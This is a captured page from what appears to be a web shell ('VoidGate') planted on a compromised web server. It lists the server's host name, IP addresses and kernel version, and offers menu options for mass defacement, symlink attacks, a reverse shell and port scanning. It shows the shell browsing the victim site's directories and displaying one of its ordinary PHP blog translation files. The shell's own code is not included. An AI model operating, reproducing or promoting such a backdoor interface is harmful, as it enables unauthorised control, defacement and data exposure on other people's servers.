ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
Modules
/
Blog
/
app
/
Traits
/
Viewing: BlogTranslationTrait.php
<?php namespace Modules\Blog\app\Traits; use Modules\Blog\app\Models\BlogTranslation; trait BlogTranslationTrait { public function addBlogTranslation(object $request, int|string $id): bool { foreach ($request->lang as $index => $key) { foreach (['name', 'description', 'title'] as $type) { if (isset($request[$type][$index]) && $key != 'en') { BlogTranslation::insert([ 'translation_type' => 'Modules\Blog\app\Models\Blog', 'translation_id' => $id, 'locale' => $key, 'key' => $type, 'value' => $request[$type][$index], 'is_draft' => $request['is_draft'] ?? 0 ]); } } } return true; } public function updateBlogTranslation(object $request, int|string $id): bool { foreach ($request->lang as $index => $key) { foreach (['name', 'description', 'title'] as $type) { if (isset($request[$type][$index]) && $key != 'en') { BlogTranslation::updateOrInsert( [ 'translation_type' => 'Modules\Blog\app\Models\Blog', 'translation_id' => $id, 'locale' => $key, 'key' => $type, 'is_draft' => $request['is_draft'] ?? 0, ], [ 'value' => $request[$type][$index], 'translation_type' => 'Modules\Blog\app\Models\Blog', 'translation_id' => $id, 'locale' => $key, 'key' => $type, 'is_draft' => $request['is_draft'] ?? 0, ] ); } } } return true; } public function updateTranslationById(string $id, string $lang, string $key, string $value): bool { BlogTranslation::updateOrInsert([ 'translation_type' => 'Modules\Blog\app\Models\Blog', 'translation_id' => $id, 'locale' => $lang, 'key' => $key ], [ 'value' => $value, 'is_draft' => $request['is_draft'] ?? 0 ]); return true; } public function deleteTranslation(int|string $id): bool { BlogTranslation::where([ 'translation_type' => 'Modules\Blog\app\Models\Blog', 'translation_id' => $id ])->delete(); return true; } }
Coded With 💗 by
0x6ick